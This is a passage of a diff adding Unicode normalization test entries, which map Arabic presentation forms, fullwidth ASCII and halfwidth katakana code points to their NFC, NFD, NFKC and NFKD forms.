+{ source: [0xFEA0], NFC: [0xFEA0], NFD: [0xFEA0], NFKC: [0x062C], NFKD: [0x062C] },
+{ source: [0xFEA1], NFC: [0xFEA1], NFD: [0xFEA1], NFKC: [0x062D], NFKD: [0x062D] },
+{ source: [0xFEA2], NFC: [0xFEA2], NFD: [0xFEA2], NFKC: [0x062D], NFKD: [0x062D] },
+{ source: [0xFEA3], NFC: [0xFEA3], NFD: [0xFEA3], NFKC: [0x062D], NFKD: [0x062D] },
+{ source: [0xFEA4], NFC: [0xFEA4], NFD: [0xFEA4], NFKC: [0x062D], NFKD: [0x062D] },
+{ source: [0xFEA5], NFC: [0xFEA5], NFD: [0xFEA5], NFKC: [0x062E], NFKD: [0x062E] },
+{ source: [0xFEA6], NFC: [0xFEA6], NFD: [0xFEA6], NFKC: [0x062E], NFKD: [0x062E] },
+{ source: [0xFEA7], NFC: [0xFEA7], NFD: [0xFEA7], NFKC: [0x062E], NFKD: [0x062E] },
+{ source: [0xFEA8], NFC: [0xFEA8], NFD: [0xFEA8], NFKC: [0x062E], NFKD: [0x062E] },
+{ source: [0xFEA9], NFC: [0xFEA9], NFD: [0xFEA9], NFKC: [0x062F], NFKD: [0x062F] },
+{ source: [0xFEAA], NFC: [0xFEAA], NFD: [0xFEAA], NFKC: [0x062F], NFKD: [0x062F] },
+{ source: [0xFEAB], NFC: [0xFEAB], NFD: [0xFEAB], NFKC: [0x0630], NFKD: [0x0630] },
+{ source: [0xFEAC], NFC: [0xFEAC], NFD: [0xFEAC], NFKC: [0x0630], NFKD: [0x0630] },
+{ source: [0xFEAD], NFC: [0xFEAD], NFD: [0xFEAD], NFKC: [0x0631], NFKD: [0x0631] },
+{ source: [0xFEAE], NFC: [0xFEAE], NFD: [0xFEAE], NFKC: [0x0631], NFKD: [0x0631] },
+{ source: [0xFEAF], NFC: [0xFEAF], NFD: [0xFEAF], NFKC: [0x0632], NFKD: [0x0632] },
+{ source: [0xFEB0], NFC: [0xFEB0], NFD: [0xFEB0], NFKC: [0x0632], NFKD: [0x0632] },
+{ source: [0xFEB1], NFC: [0xFEB1], NFD: [0xFEB1], NFKC: [0x0633], NFKD: [0x0633] },
+{ source: [0xFEB2], NFC: [0xFEB2], NFD: [0xFEB2], NFKC: [0x0633], NFKD: [0x0633] },
+{ source: [0xFEB3], NFC: [0xFEB3], NFD: [0xFEB3], NFKC: [0x0633], NFKD: [0x0633] },
+{ source: [0xFEB4], NFC: [0xFEB4], NFD: [0xFEB4], NFKC: [0x0633], NFKD: [0x0633] },
+{ source: [0xFEB5], NFC: [0xFEB5], NFD: [0xFEB5], NFKC: [0x0634], NFKD: [0x0634] },
+{ source: [0xFEB6], NFC: [0xFEB6], NFD: [0xFEB6], NFKC: [0x0634], NFKD: [0x0634] },
+{ source: [0xFEB7], NFC: [0xFEB7], NFD: [0xFEB7], NFKC: [0x0634], NFKD: [0x0634] },
+{ source: [0xFEB8], NFC: [0xFEB8], NFD: [0xFEB8], NFKC: [0x0634], NFKD: [0x0634] },
+{ source: [0xFEB9], NFC: [0xFEB9], NFD: [0xFEB9], NFKC: [0x0635], NFKD: [0x0635] },
+{ source: [0xFEBA], NFC: [0xFEBA], NFD: [0xFEBA], NFKC: [0x0635], NFKD: [0x0635] },
+{ source: [0xFEBB], NFC: [0xFEBB], NFD: [0xFEBB], NFKC: [0x0635], NFKD: [0x0635] },
+{ source: [0xFEBC], NFC: [0xFEBC], NFD: [0xFEBC], NFKC: [0x0635], NFKD: [0x0635] },
+{ source: [0xFEBD], NFC: [0xFEBD], NFD: [0xFEBD], NFKC: [0x0636], NFKD: [0x0636] },
+{ source: [0xFEBE], NFC: [0xFEBE], NFD: [0xFEBE], NFKC: [0x0636], NFKD: [0x0636] },
+{ source: [0xFEBF], NFC: [0xFEBF], NFD: [0xFEBF], NFKC: [0x0636], NFKD: [0x0636] },
+{ source: [0xFEC0], NFC: [0xFEC0], NFD: [0xFEC0], NFKC: [0x0636], NFKD: [0x0636] },
+{ source: [0xFEC1], NFC: [0xFEC1], NFD: [0xFEC1], NFKC: [0x0637], NFKD: [0x0637] },
+{ source: [0xFEC2], NFC: [0xFEC2], NFD: [0xFEC2], NFKC: [0x0637], NFKD: [0x0637] },
+{ source: [0xFEC3], NFC: [0xFEC3], NFD: [0xFEC3], NFKC: [0x0637], NFKD: [0x0637] },
+{ source: [0xFEC4], NFC: [0xFEC4], NFD: [0xFEC4], NFKC: [0x0637], NFKD: [0x0637] },
+{ source: [0xFEC5], NFC: [0xFEC5], NFD: [0xFEC5], NFKC: [0x0638], NFKD: [0x0638] },
+{ source: [0xFEC6], NFC: [0xFEC6], NFD: [0xFEC6], NFKC: [0x0638], NFKD: [0x0638] },
+{ source: [0xFEC7], NFC: [0xFEC7], NFD: [0xFEC7], NFKC: [0x0638], NFKD: [0x0638] },
+{ source: [0xFEC8], NFC: [0xFEC8], NFD: [0xFEC8], NFKC: [0x0638], NFKD: [0x0638] },
+{ source: [0xFEC9], NFC: [0xFEC9], NFD: [0xFEC9], NFKC: [0x0639], NFKD: [0x0639] },
+{ source: [0xFECA], NFC: [0xFECA], NFD: [0xFECA], NFKC: [0x0639], NFKD: [0x0639] },
+{ source: [0xFECB], NFC: [0xFECB], NFD: [0xFECB], NFKC: [0x0639], NFKD: [0x0639] },
+{ source: [0xFECC], NFC: [0xFECC], NFD: [0xFECC], NFKC: [0x0639], NFKD: [0x0639] },
+{ source: [0xFECD], NFC: [0xFECD], NFD: [0xFECD], NFKC: [0x063A], NFKD: [0x063A] },
+{ source: [0xFECE], NFC: [0xFECE], NFD: [0xFECE], NFKC: [0x063A], NFKD: [0x063A] },
+{ source: [0xFECF], NFC: [0xFECF], NFD: [0xFECF], NFKC: [0x063A], NFKD: [0x063A] },
+{ source: [0xFED0], NFC: [0xFED0], NFD: [0xFED0], NFKC: [0x063A], NFKD: [0x063A] },
+{ source: [0xFED1], NFC: [0xFED1], NFD: [0xFED1], NFKC: [0x0641], NFKD: [0x0641] },
+{ source: [0xFED2], NFC: [0xFED2], NFD: [0xFED2], NFKC: [0x0641], NFKD: [0x0641] },
+{ source: [0xFED3], NFC: [0xFED3], NFD: [0xFED3], NFKC: [0x0641], NFKD: [0x0641] },
+{ source: [0xFED4], NFC: [0xFED4], NFD: [0xFED4], NFKC: [0x0641], NFKD: [0x0641] },
+{ source: [0xFED5], NFC: [0xFED5], NFD: [0xFED5], NFKC: [0x0642], NFKD: [0x0642] },
+{ source: [0xFED6], NFC: [0xFED6], NFD: [0xFED6], NFKC: [0x0642], NFKD: [0x0642] },
+{ source: [0xFED7], NFC: [0xFED7], NFD: [0xFED7], NFKC: [0x0642], NFKD: [0x0642] },
+{ source: [0xFED8], NFC: [0xFED8], NFD: [0xFED8], NFKC: [0x0642], NFKD: [0x0642] },
+{ source: [0xFED9], NFC: [0xFED9], NFD: [0xFED9], NFKC: [0x0643], NFKD: [0x0643] },
+{ source: [0xFEDA], NFC: [0xFEDA], NFD: [0xFEDA], NFKC: [0x0643], NFKD: [0x0643] },
+{ source: [0xFEDB], NFC: [0xFEDB], NFD: [0xFEDB], NFKC: [0x0643], NFKD: [0x0643] },
+{ source: [0xFEDC], NFC: [0xFEDC], NFD: [0xFEDC], NFKC: [0x0643], NFKD: [0x0643] },
+{ source: [0xFEDD], NFC: [0xFEDD], NFD: [0xFEDD], NFKC: [0x0644], NFKD: [0x0644] },
+{ source: [0xFEDE], NFC: [0xFEDE], NFD: [0xFEDE], NFKC: [0x0644], NFKD: [0x0644] },
+{ source: [0xFEDF], NFC: [0xFEDF], NFD: [0xFEDF], NFKC: [0x0644], NFKD: [0x0644] },
+{ source: [0xFEE0], NFC: [0xFEE0], NFD: [0xFEE0], NFKC: [0x0644], NFKD: [0x0644] },
+{ source: [0xFEE1], NFC: [0xFEE1], NFD: [0xFEE1], NFKC: [0x0645], NFKD: [0x0645] },
+{ source: [0xFEE2], NFC: [0xFEE2], NFD: [0xFEE2], NFKC: [0x0645], NFKD: [0x0645] },
+{ source: [0xFEE3], NFC: [0xFEE3], NFD: [0xFEE3], NFKC: [0x0645], NFKD: [0x0645] },
+{ source: [0xFEE4], NFC: [0xFEE4], NFD: [0xFEE4], NFKC: [0x0645], NFKD: [0x0645] },
+{ source: [0xFEE5], NFC: [0xFEE5], NFD: [0xFEE5], NFKC: [0x0646], NFKD: [0x0646] },
+{ source: [0xFEE6], NFC: [0xFEE6], NFD: [0xFEE6], NFKC: [0x0646], NFKD: [0x0646] },
+{ source: [0xFEE7], NFC: [0xFEE7], NFD: [0xFEE7], NFKC: [0x0646], NFKD: [0x0646] },
+{ source: [0xFEE8], NFC: [0xFEE8], NFD: [0xFEE8], NFKC: [0x0646], NFKD: [0x0646] },
+{ source: [0xFEE9], NFC: [0xFEE9], NFD: [0xFEE9], NFKC: [0x0647], NFKD: [0x0647] },
+{ source: [0xFEEA], NFC: [0xFEEA], NFD: [0xFEEA], NFKC: [0x0647], NFKD: [0x0647] },
+{ source: [0xFEEB], NFC: [0xFEEB], NFD: [0xFEEB], NFKC: [0x0647], NFKD: [0x0647] },
+{ source: [0xFEEC], NFC: [0xFEEC], NFD: [0xFEEC], NFKC: [0x0647], NFKD: [0x0647] },
+{ source: [0xFEED], NFC: [0xFEED], NFD: [0xFEED], NFKC: [0x0648], NFKD: [0x0648] },
+{ source: [0xFEEE], NFC: [0xFEEE], NFD: [0xFEEE], NFKC: [0x0648], NFKD: [0x0648] },
+{ source: [0xFEEF], NFC: [0xFEEF], NFD: [0xFEEF], NFKC: [0x0649], NFKD: [0x0649] },
+{ source: [0xFEF0], NFC: [0xFEF0], NFD: [0xFEF0], NFKC: [0x0649], NFKD: [0x0649] },
+{ source: [0xFEF1], NFC: [0xFEF1], NFD: [0xFEF1], NFKC: [0x064A], NFKD: [0x064A] },
+{ source: [0xFEF2], NFC: [0xFEF2], NFD: [0xFEF2], NFKC: [0x064A], NFKD: [0x064A] },
+{ source: [0xFEF3], NFC: [0xFEF3], NFD: [0xFEF3], NFKC: [0x064A], NFKD: [0x064A] },
+{ source: [0xFEF4], NFC: [0xFEF4], NFD: [0xFEF4], NFKC: [0x064A], NFKD: [0x064A] },
+{ source: [0xFEF5], NFC: [0xFEF5], NFD: [0xFEF5], NFKC: [0x0644, 0x0622], NFKD: [0x0644, 0x0627, 0x0653] },
+{ source: [0xFEF6], NFC: [0xFEF6], NFD: [0xFEF6], NFKC: [0x0644, 0x0622], NFKD: [0x0644, 0x0627, 0x0653] },
+{ source: [0xFEF7], NFC: [0xFEF7], NFD: [0xFEF7], NFKC: [0x0644, 0x0623], NFKD: [0x0644, 0x0627, 0x0654] },
+{ source: [0xFEF8], NFC: [0xFEF8], NFD: [0xFEF8], NFKC: [0x0644, 0x0623], NFKD: [0x0644, 0x0627, 0x0654] },
+{ source: [0xFEF9], NFC: [0xFEF9], NFD: [0xFEF9], NFKC: [0x0644, 0x0625], NFKD: [0x0644, 0x0627, 0x0655] },
+{ source: [0xFEFA], NFC: [0xFEFA], NFD: [0xFEFA], NFKC: [0x0644, 0x0625], NFKD: [0x0644, 0x0627, 0x0655] },
+{ source: [0xFEFB], NFC: [0xFEFB], NFD: [0xFEFB], NFKC: [0x0644, 0x0627], NFKD: [0x0644, 0x0627] },
+{ source: [0xFEFC], NFC: [0xFEFC], NFD: [0xFEFC], NFKC: [0x0644, 0x0627], NFKD: [0x0644, 0x0627] },
+{ source: [0xFF01], NFC: [0xFF01], NFD: [0xFF01], NFKC: [0x0021], NFKD: [0x0021] },
+{ source: [0xFF02], NFC: [0xFF02], NFD: [0xFF02], NFKC: [0x0022], NFKD: [0x0022] },
+{ source: [0xFF03], NFC: [0xFF03], NFD: [0xFF03], NFKC: [0x0023], NFKD: [0x0023] },
+{ source: [0xFF04], NFC: [0xFF04], NFD: [0xFF04], NFKC: [0x0024], NFKD: [0x0024] },
+{ source: [0xFF05], NFC: [0xFF05], NFD: [0xFF05], NFKC: [0x0025], NFKD: [0x0025] },
+{ source: [0xFF06], NFC: [0xFF06], NFD: [0xFF06], NFKC: [0x0026], NFKD: [0x0026] },
+{ source: [0xFF07], NFC: [0xFF07], NFD: [0xFF07], NFKC: [0x0027], NFKD: [0x0027] },
+{ source: [0xFF08], NFC: [0xFF08], NFD: [0xFF08], NFKC: [0x0028], NFKD: [0x0028] },
+{ source: [0xFF09], NFC: [0xFF09], NFD: [0xFF09], NFKC: [0x0029], NFKD: [0x0029] },
+{ source: [0xFF0A], NFC: [0xFF0A], NFD: [0xFF0A], NFKC: [0x002A], NFKD: [0x002A] },
+{ source: [0xFF0B], NFC: [0xFF0B], NFD: [0xFF0B], NFKC: [0x002B], NFKD: [0x002B] },
+{ source: [0xFF0C], NFC: [0xFF0C], NFD: [0xFF0C], NFKC: [0x002C], NFKD: [0x002C] },
+{ source: [0xFF0D], NFC: [0xFF0D], NFD: [0xFF0D], NFKC: [0x002D], NFKD: [0x002D] },
+{ source: [0xFF0E], NFC: [0xFF0E], NFD: [0xFF0E], NFKC: [0x002E], NFKD: [0x002E] },
+{ source: [0xFF0F], NFC: [0xFF0F], NFD: [0xFF0F], NFKC: [0x002F], NFKD: [0x002F] },
+{ source: [0xFF10], NFC: [0xFF10], NFD: [0xFF10], NFKC: [0x0030], NFKD: [0x0030] },
+{ source: [0xFF11], NFC: [0xFF11], NFD: [0xFF11], NFKC: [0x0031], NFKD: [0x0031] },
+{ source: [0xFF12], NFC: [0xFF12], NFD: [0xFF12], NFKC: [0x0032], NFKD: [0x0032] },
+{ source: [0xFF13], NFC: [0xFF13], NFD: [0xFF13], NFKC: [0x0033], NFKD: [0x0033] },
+{ source: [0xFF14], NFC: [0xFF14], NFD: [0xFF14], NFKC: [0x0034], NFKD: [0x0034] },
+{ source: [0xFF15], NFC: [0xFF15], NFD: [0xFF15], NFKC: [0x0035], NFKD: [0x0035] },
+{ source: [0xFF16], NFC: [0xFF16], NFD: [0xFF16], NFKC: [0x0036], NFKD: [0x0036] },
+{ source: [0xFF17], NFC: [0xFF17], NFD: [0xFF17], NFKC: [0x0037], NFKD: [0x0037] },
+{ source: [0xFF18], NFC: [0xFF18], NFD: [0xFF18], NFKC: [0x0038], NFKD: [0x0038] },
+{ source: [0xFF19], NFC: [0xFF19], NFD: [0xFF19], NFKC: [0x0039], NFKD: [0x0039] },
+{ source: [0xFF1A], NFC: [0xFF1A], NFD: [0xFF1A], NFKC: [0x003A], NFKD: [0x003A] },
+{ source: [0xFF1B], NFC: [0xFF1B], NFD: [0xFF1B], NFKC: [0x003B], NFKD: [0x003B] },
+{ source: [0xFF1C], NFC: [0xFF1C], NFD: [0xFF1C], NFKC: [0x003C], NFKD: [0x003C] },
+{ source: [0xFF1D], NFC: [0xFF1D], NFD: [0xFF1D], NFKC: [0x003D], NFKD: [0x003D] },
+{ source: [0xFF1E], NFC: [0xFF1E], NFD: [0xFF1E], NFKC: [0x003E], NFKD: [0x003E] },
+{ source: [0xFF1F], NFC: [0xFF1F], NFD: [0xFF1F], NFKC: [0x003F], NFKD: [0x003F] },
+{ source: [0xFF20], NFC: [0xFF20], NFD: [0xFF20], NFKC: [0x0040], NFKD: [0x0040] },
+{ source: [0xFF21], NFC: [0xFF21], NFD: [0xFF21], NFKC: [0x0041], NFKD: [0x0041] },
+{ source: [0xFF22], NFC: [0xFF22], NFD: [0xFF22], NFKC: [0x0042], NFKD: [0x0042] },
+{ source: [0xFF23], NFC: [0xFF23], NFD: [0xFF23], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0xFF24], NFC: [0xFF24], NFD: [0xFF24], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0xFF25], NFC: [0xFF25], NFD: [0xFF25], NFKC: [0x0045], NFKD: [0x0045] },
+{ source: [0xFF26], NFC: [0xFF26], NFD: [0xFF26], NFKC: [0x0046], NFKD: [0x0046] },
+{ source: [0xFF27], NFC: [0xFF27], NFD: [0xFF27], NFKC: [0x0047], NFKD: [0x0047] },
+{ source: [0xFF28], NFC: [0xFF28], NFD: [0xFF28], NFKC: [0x0048], NFKD: [0x0048] },
+{ source: [0xFF29], NFC: [0xFF29], NFD: [0xFF29], NFKC: [0x0049], NFKD: [0x0049] },
+{ source: [0xFF2A], NFC: [0xFF2A], NFD: [0xFF2A], NFKC: [0x004A], NFKD: [0x004A] },
+{ source: [0xFF2B], NFC: [0xFF2B], NFD: [0xFF2B], NFKC: [0x004B], NFKD: [0x004B] },
+{ source: [0xFF2C], NFC: [0xFF2C], NFD: [0xFF2C], NFKC: [0x004C], NFKD: [0x004C] },
+{ source: [0xFF2D], NFC: [0xFF2D], NFD: [0xFF2D], NFKC: [0x004D], NFKD: [0x004D] },
+{ source: [0xFF2E], NFC: [0xFF2E], NFD: [0xFF2E], NFKC: [0x004E], NFKD: [0x004E] },
+{ source: [0xFF2F], NFC: [0xFF2F], NFD: [0xFF2F], NFKC: [0x004F], NFKD: [0x004F] },
+{ source: [0xFF30], NFC: [0xFF30], NFD: [0xFF30], NFKC: [0x0050], NFKD: [0x0050] },
+{ source: [0xFF31], NFC: [0xFF31], NFD: [0xFF31], NFKC: [0x0051], NFKD: [0x0051] },
+{ source: [0xFF32], NFC: [0xFF32], NFD: [0xFF32], NFKC: [0x0052], NFKD: [0x0052] },
+{ source: [0xFF33], NFC: [0xFF33], NFD: [0xFF33], NFKC: [0x0053], NFKD: [0x0053] },
+{ source: [0xFF34], NFC: [0xFF34], NFD: [0xFF34], NFKC: [0x0054], NFKD: [0x0054] },
+{ source: [0xFF35], NFC: [0xFF35], NFD: [0xFF35], NFKC: [0x0055], NFKD: [0x0055] },
+{ source: [0xFF36], NFC: [0xFF36], NFD: [0xFF36], NFKC: [0x0056], NFKD: [0x0056] },
+{ source: [0xFF37], NFC: [0xFF37], NFD: [0xFF37], NFKC: [0x0057], NFKD: [0x0057] },
+{ source: [0xFF38], NFC: [0xFF38], NFD: [0xFF38], NFKC: [0x0058], NFKD: [0x0058] },
+{ source: [0xFF39], NFC: [0xFF39], NFD: [0xFF39], NFKC: [0x0059], NFKD: [0x0059] },
+{ source: [0xFF3A], NFC: [0xFF3A], NFD: [0xFF3A], NFKC: [0x005A], NFKD: [0x005A] },
+{ source: [0xFF3B], NFC: [0xFF3B], NFD: [0xFF3B], NFKC: [0x005B], NFKD: [0x005B] },
+{ source: [0xFF3C], NFC: [0xFF3C], NFD: [0xFF3C], NFKC: [0x005C], NFKD: [0x005C] },
+{ source: [0xFF3D], NFC: [0xFF3D], NFD: [0xFF3D], NFKC: [0x005D], NFKD: [0x005D] },
+{ source: [0xFF3E], NFC: [0xFF3E], NFD: [0xFF3E], NFKC: [0x005E], NFKD: [0x005E] },
+{ source: [0xFF3F], NFC: [0xFF3F], NFD: [0xFF3F], NFKC: [0x005F], NFKD: [0x005F] },
+{ source: [0xFF40], NFC: [0xFF40], NFD: [0xFF40], NFKC: [0x0060], NFKD: [0x0060] },
+{ source: [0xFF41], NFC: [0xFF41], NFD: [0xFF41], NFKC: [0x0061], NFKD: [0x0061] },
+{ source: [0xFF42], NFC: [0xFF42], NFD: [0xFF42], NFKC: [0x0062], NFKD: [0x0062] },
+{ source: [0xFF43], NFC: [0xFF43], NFD: [0xFF43], NFKC: [0x0063], NFKD: [0x0063] },
+{ source: [0xFF44], NFC: [0xFF44], NFD: [0xFF44], NFKC: [0x0064], NFKD: [0x0064] },
+{ source: [0xFF45], NFC: [0xFF45], NFD: [0xFF45], NFKC: [0x0065], NFKD: [0x0065] },
+{ source: [0xFF46], NFC: [0xFF46], NFD: [0xFF46], NFKC: [0x0066], NFKD: [0x0066] },
+{ source: [0xFF47], NFC: [0xFF47], NFD: [0xFF47], NFKC: [0x0067], NFKD: [0x0067] },
+{ source: [0xFF48], NFC: [0xFF48], NFD: [0xFF48], NFKC: [0x0068], NFKD: [0x0068] },
+{ source: [0xFF49], NFC: [0xFF49], NFD: [0xFF49], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0xFF4A], NFC: [0xFF4A], NFD: [0xFF4A], NFKC: [0x006A], NFKD: [0x006A] },
+{ source: [0xFF4B], NFC: [0xFF4B], NFD: [0xFF4B], NFKC: [0x006B], NFKD: [0x006B] },
+{ source: [0xFF4C], NFC: [0xFF4C], NFD: [0xFF4C], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0xFF4D], NFC: [0xFF4D], NFD: [0xFF4D], NFKC: [0x006D], NFKD: [0x006D] },
+{ source: [0xFF4E], NFC: [0xFF4E], NFD: [0xFF4E], NFKC: [0x006E], NFKD: [0x006E] },
+{ source: [0xFF4F], NFC: [0xFF4F], NFD: [0xFF4F], NFKC: [0x006F], NFKD: [0x006F] },
+{ source: [0xFF50], NFC: [0xFF50], NFD: [0xFF50], NFKC: [0x0070], NFKD: [0x0070] },
+{ source: [0xFF51], NFC: [0xFF51], NFD: [0xFF51], NFKC: [0x0071], NFKD: [0x0071] },
+{ source: [0xFF52], NFC: [0xFF52], NFD: [0xFF52], NFKC: [0x0072], NFKD: [0x0072] },
+{ source: [0xFF53], NFC: [0xFF53], NFD: [0xFF53], NFKC: [0x0073], NFKD: [0x0073] },
+{ source: [0xFF54], NFC: [0xFF54], NFD: [0xFF54], NFKC: [0x0074], NFKD: [0x0074] },
+{ source: [0xFF55], NFC: [0xFF55], NFD: [0xFF55], NFKC: [0x0075], NFKD: [0x0075] },
+{ source: [0xFF56], NFC: [0xFF56], NFD: [0xFF56], NFKC: [0x0076], NFKD: [0x0076] },
+{ source: [0xFF57], NFC: [0xFF57], NFD: [0xFF57], NFKC: [0x0077], NFKD: [0x0077] },
+{ source: [0xFF58], NFC: [0xFF58], NFD: [0xFF58], NFKC: [0x0078], NFKD: [0x0078] },
+{ source: [0xFF59], NFC: [0xFF59], NFD: [0xFF59], NFKC: [0x0079], NFKD: [0x0079] },
+{ source: [0xFF5A], NFC: [0xFF5A], NFD: [0xFF5A], NFKC: [0x007A], NFKD: [0x007A] },
+{ source: [0xFF5B], NFC: [0xFF5B], NFD: [0xFF5B], NFKC: [0x007B], NFKD: [0x007B] },
+{ source: [0xFF5C], NFC: [0xFF5C], NFD: [0xFF5C], NFKC: [0x007C], NFKD: [0x007C] },
+{ source: [0xFF5D], NFC: [0xFF5D], NFD: [0xFF5D], NFKC: [0x007D], NFKD: [0x007D] },
+{ source: [0xFF5E], NFC: [0xFF5E], NFD: [0xFF5E], NFKC: [0x007E], NFKD: [0x007E] },
+{ source: [0xFF5F], NFC: [0xFF5F], NFD: [0xFF5F], NFKC: [0x2985], NFKD: [0x2985] },
+{ source: [0xFF60], NFC: [0xFF60], NFD: [0xFF60], NFKC: [0x2986], NFKD: [0x2986] },
+{ source: [0xFF61], NFC: [0xFF61], NFD: [0xFF61], NFKC: [0x3002], NFKD: [0x3002] },
+{ source: [0xFF62], NFC: [0xFF62], NFD: [0xFF62], NFKC: [0x300C], NFKD: [0x300C] },
+{ source: [0xFF63], NFC: [0xFF63], NFD: [0xFF63], NFKC: [0x300D], NFKD: [0x300D] },
+{ source: [0xFF64], NFC: [0xFF64], NFD: [0xFF64], NFKC: [0x3001], NFKD: [0x3001] },
+{ source: [0xFF65], NFC: [0xFF65], NFD: [0xFF65], NFKC: [0x30FB], NFKD: [0x30FB] },
+{ source: [0xFF66], NFC: [0xFF66], NFD: [0xFF66], NFKC: [0x30F2], NFKD: [0x30F2] },
+{ source: [0xFF67], NFC: [0xFF67], NFD: [0xFF67], NFKC: [0x30A1], NFKD: [0x30A1] },
+{ source: [0xFF68], NFC: [0xFF68], NFD: [0xFF68], NFKC: [0x30A3], NFKD: [0x30A3] },
+{ source: [0xFF69], NFC: [0xFF69], NFD: [0xFF69], NFKC: [0x30A5], NFKD: [0x30A5] },
+{ source: [0xFF6A], NFC: [0xFF6A], NFD: [0xFF6A], NFKC: [0x30A7], NFKD: [0x30A7] },
+{ source: [0xFF6B], NFC: [0xFF6B], NFD: [0xFF6B], NFKC: [0x30A9], NFKD: [0x30A9] },
+{ source: [0xFF6C], NFC: [0xFF6C], NFD: [0xFF6C], NFKC: [0x30E3], NFKD: [0x30E3] },
+{ source: [0xFF6D], NFC: [0xFF6D], NFD: [0xFF6D], NFKC: [0x30E5], NFKD: [0x30E5] },
+{ source: [0xFF6E], NFC: [0xFF6E], NFD: [0xFF6E], NFKC: [0x30E7], NFKD: [0x30E7] },
+{ source: [0xFF6F], NFC: [0xFF6F], NFD: [0xFF6F], NFKC: [0x30C3], NFKD: [0x30C3] },
+{ source: [0xFF70], NFC: [0xFF70], NFD: [0xFF70], NFKC: [0x30FC], NFKD: [0x30FC] },
+{ source: [0xFF71], NFC: [0xFF71], NFD: [0xFF71], NFKC: [0x30A2], NFKD: [0x30A2] },
+{ source: [0xFF72], NFC: [0xFF72], NFD: [0xFF72], NFKC: [0x30A4], NFKD: [0x30A4] },
+{ source: [0xFF73], NFC: [0xFF73], NFD: [0xFF73], NFKC: [0x30A6], NFKD: [0x30A6] },
+{ source: [0xFF74], NFC: [0xFF74], NFD: [0xFF74], NFKC: [0x30A8], NFKD: [0x30A8] },
+{ source: [0xFF75], NFC: [0xFF75], NFD: [0xFF75], NFKC: [0x30AA], NFKD: [0x30AA] },
+{ source: [0xFF76], NFC: [0xFF76], NFD: [0xFF76], NFKC: [0x30AB], NFKD: [0x30AB] },
+{ source: [0xFF77], NFC: [0xFF77], NFD: [0xFF77], NFKC: [0x30AD], NFKD: [0x30AD] },
+{ source: [0xFF78], NFC: [0xFF78], NFD: [0xFF78], NFKC: [0x30AF], NFKD: [0x30AF] },
+{ source: [0xFF79], NFC: [0xFF79], NFD: [0xFF79], NFKC: [0x30B1], NFKD: [0x30B1] },
+{ source: [0xFF7A], NFC: [0xFF7A], NFD: [0xFF7A], NFKC: [0x30B3], NFKD: [0x30B3] },
+{ source: [0xFF7B], NFC: [0xFF7B], NFD: [0xFF7B], NFKC: [0x30B5], NFKD: [0x30B5] },
+{ source: [0xFF7C], NFC: [0xFF7C], NFD: [0xFF7C], NFKC: [0x30B7], NFKD: [0x30B7] },
+{ source: [0xFF7D], NFC: [0xFF7D], NFD: [0xFF7D], NFKC: [0x30B9], NFKD: [0x30B9] },
+{ source: [0xFF7E], NFC: [0xFF7E], NFD: [0xFF7E], NFKC: [0x30BB], NFKD: [0x30BB] },
+{ source: [0xFF7F], NFC: [0xFF7F], NFD: [0xFF7F], NFKC: [0x30BD], NFKD: [0x30BD] },
+{ source: [0xFF80], NFC: [0xFF80], NFD: [0xFF80], NFKC: [0x30BF], NFKD: [0x30BF] },
+{ source: [0xFF81], NFC: [0xFF81], NFD: [0xFF81], NFKC: [0x30C1], NFKD: [0x30C1] },
+{ source: [0xFF82], NFC: [0xFF82], NFD: [0xFF82], NFKC: [0x30C4], NFKD: [0x30C4] },
+{ source: [0xFF83], NFC: [0xFF83], NFD: [0xFF83], NFKC: [0x30C6], NFKD: [0x30C6] },
+{ source: [0xFF84], NFC: [0xFF84], NFD: [0xFF84], NFKC: [0x30C8], NFKD: [0x30C8] },
+{ source: [0xFF85], NFC: [0xFF85], NFD: [0xFF85], NFKC: [0x30CA], NFKD: [0x30CA] },
+{ source: [0xFF86], NFC: [0xFF86], NFD: [0xFF86], NFKC: [0x30CB], NFKD: [0x30CB] },
+{ source: [0xFF87], NFC: [0xFF87], NFD: [0xFF87], NFKC: [0x30CC], NFKD: [0x30CC] },
+{ source: [0xFF88], NFC: [0xFF88], NFD: [0xFF88], NFKC: [0x30CD], NFKD: [0x30CD] },
+{ source: [0xFF89], NFC: [0xFF89], NFD: [0xFF89], NFKC: [0x30CE], NFKD: [0x30CE] },
+{ source: [0xFF8A], NFC: [0xFF8A], NFD: [0xFF8A], NFKC: [0x30CF], NFKD: [0x30CF] },
+{ source: [0xFF8B], NFC: [0xFF8B], NFD: [0xFF8B], NFKC: [0x30D2], NFKD: [0x30D2] },
+{ source: [0xFF8C], NFC: [0xFF8C], NFD: [0xFF8C], NFKC: [0x30D5], NFKD: [0x30D5] },
+{ source: [0xFF8D], NFC: [0xFF8D], NFD: [0xFF8D], NFKC: [0x30D8], NFKD: [0x30D8] },
+{ source: [0xFF8E], NFC: [0xFF8E], NFD: [0xFF8E], NFKC: [0x30DB], NFKD: [0x30DB] },
+{ source: [0xFF8F], NFC: [0xFF8F], NFD: [0xFF8F], NFKC: [0x30DE], NFKD: [0x30DE] },
+{ source: [0xFF90], NFC: [0xFF90], NFD: [0xFF90], NFKC: [0x30DF], NFKD: [0x30DF] },
+{ source: [0xFF91], NFC: [0xFF91], NFD: [0xFF91], NFKC: [0x30E0], NFKD: [0x30E0] },
+{ source: [0xFF92], NFC: [0xFF92], NFD: [0xFF92], NFKC: [0x30E1], NFKD: [0x30E1] },
+{ source: [0xFF93], NFC: [0xFF93], NFD: [0xFF93], NFKC: [0x30E2], NFKD: [0x30E2] },
+{ source: [0xFF94], NFC: [0xFF94], NFD: [0xFF94], NFKC: [0x30E4], NFKD: [0x30E4] },
+{ source: [0xFF95], NFC: [0xFF95], NFD: [0xFF95], NFKC: [0x30E6], NFKD: [0x30E6] },
+{ source: [0xFF96], NFC: [0xFF96], NFD: [0xFF96], NFKC: [0x30E8], NFKD: [0x30E8] },
+{ source: [0xFF97], NFC: [0xFF97], NFD: [0xFF97], NFKC: [0x30E9], NFKD: [0x30E9] },
+{ source: [0xFF98], NFC: [0xFF98], NFD: [0xFF98], NFKC: [0x30EA], NFKD: [0x30EA] },
+{ source: [0xFF99], NFC: [0xFF99], NFD: [0xFF99], NFKC: [0x30EB], NFKD: [0x30EB] },
+{ source: [0xFF9A], NFC: [0xFF9A], NFD: [0xFF9A], NFKC: [0x30EC], NFKD: [0x30EC] },
